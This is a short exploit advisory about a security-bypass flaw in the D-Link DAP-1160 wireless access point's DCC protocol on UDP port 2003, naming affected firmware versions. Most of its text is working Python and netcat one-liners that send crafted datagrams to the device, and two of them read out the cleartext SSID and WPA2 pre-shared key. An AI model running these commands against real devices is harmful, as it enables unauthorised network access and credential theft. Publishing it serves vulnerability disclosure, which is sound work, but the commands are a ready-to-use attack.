D-Link DAP-1160 Wireless Access Point - DCC Protocol Security Bypass

source: https://www.securityfocus.com/bid/41187/info

The D-Link DAP-1160 wireless access point (WAP) is prone to a security-bypass vulnerability.

Remote attackers can exploit this issue to bypass security restrictions, access certain administrative functions, alter configuration, or trigger a denial-of-service condition.

D-Link DAP-1160 running firmware v120b06, v130b10, and v131b01 are vulnerable. 

python -c 'print "\x05" + "\x00" * 7' | nc -u <IP_ADDR> 2003

python -c 'print "\x03" + "\x00" * 7 + "\x21\x27\x00"' | nc -o ssid.txt -u <IP_ADDR> 2003
cat ssid.txt
(cleartext SSID displayed after "21 27 xx xx" in the received datagram)

python -c 'print "\x03" + "\x00" * 7 + "\x23\x27\x00\x00\x24\x27\x00"' | nc -u -o pass.txt <IP_ADDR> 2003
cat pass.txt
(cleartext WPA2 PSK displayed after "24 27 xx xx" in the received datagram)